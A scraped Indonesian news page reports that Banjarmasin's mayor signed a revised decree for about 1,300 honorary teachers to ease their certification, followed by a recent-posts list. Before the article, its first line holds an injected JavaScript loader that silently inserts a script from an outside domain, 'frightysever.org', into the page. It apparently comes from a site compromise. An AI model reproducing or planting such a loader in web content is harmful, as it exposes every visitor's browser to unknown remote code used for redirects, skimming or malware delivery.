(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kebahagiaan Guru Honorer Banjarmasin Setelah Walikota Revisi SK


BANJARMASIN, Ribuan guru honorer di Kota Banjarmasin akhirnya lega. Ini setelah Walikota Banjarmasin Ibnu Sina meneken revisi SK Nomor 267 Tahun 2018 tentang Pengangkatan Guru Honorer non PNS. Sebelumnya, 10 perwakilan dari 1.300-an guru honorer bertemu Walikota di Balai Kota Banjarmasin, Kamis (17/1) lalu.

Ketua Forum Guru Honorer se-Kota Banjarmasin Muhammad Ali Wardana mengatakan, ribuan guru honorer bersyukur karena aspirasinya direspons Ibnu Sina dan Dinas Pendidikan Banjarmasin. Ali mendesak revisi SK Wali Kota Banjarmasin karena menghambat sertifikasi guru honorer.

“Saya ucapkan terima kasih banyak akan dukungan semua pihak, baik itu dari Dinas Pendidikkan maupun wali kota Banjarmasin yang telah menyetujui SK hari ini,” tutur Ali Wardana.

Dilansir banjarhit.id dan kumparan.com, revisi menyangkut kesalahan penetapan SK guru honorer yang diangkat sebagai pegawai pemerintahan non PNS. Meskipun SK terbit pada 2017, tapi diteken pada 2018. Kesalahan ini merugikan guru honorer karena tak memenuhi syarat pengangkatan dan sulit ikut sertifikasi.

Ali pun pernah mengadukan persoalan ini ke Ombudsman Kalsel pada 18 Desember 2018. Menurut Ali, sertifikasi guru honorer mesti dipermudah demi mendapatkan tunjangan fungsional, mengikuti Uji Kompetensi Guru (UKG), dan beasiswa pendidikan. Sebab SK merupakan bukti status tenaga pendidik dari pemerintah daerah yang mengacu Nomor Unik Pendidik dan Tenaga Kependidikan (NUPTK).

Selain itu, kata Ali, SK sebagai dasar keikutsertaan Pendidikan Profesi Guru (PPG) bagi honorer. Ia berkata PPG sangat penting bagi guru untuk mendapat sertifikat. “Karena sertifikasi nanti sebagai tunjangan dan salah satu syarat sesuai Undang-Undang Nomor 49 Tahun 2018 tentang Persyaratan untuk Rekrutmen Pegawai Pemerintah dengan Perjanjian Kerja (P3K),” katanya saat pertemuan di Ombudsman Kalsel.

Sementara itu, Ibnu Sina turut mengapresiasi atas kontribusi guru honorer di Kota Banjarmasin. Menurut dia, peran guru honorer turut memberikan edukasi terhadap masa depan generasi anak di Kota Banjarmasin. “Saya ucapkan terimakasih akan aspirasi yang telah disampaikan para guru honorer, dan semuanya sudah bisa diselesaikan dengan baik. Hari ini ditandatangani SK pengangkatan guru honorer non PNS,” katanya. (zah/kum)


Desy Arfianty

Recent Posts

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

2 jam ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

3 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

7 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

8 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

8 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

12 jam ago

This website uses cookies.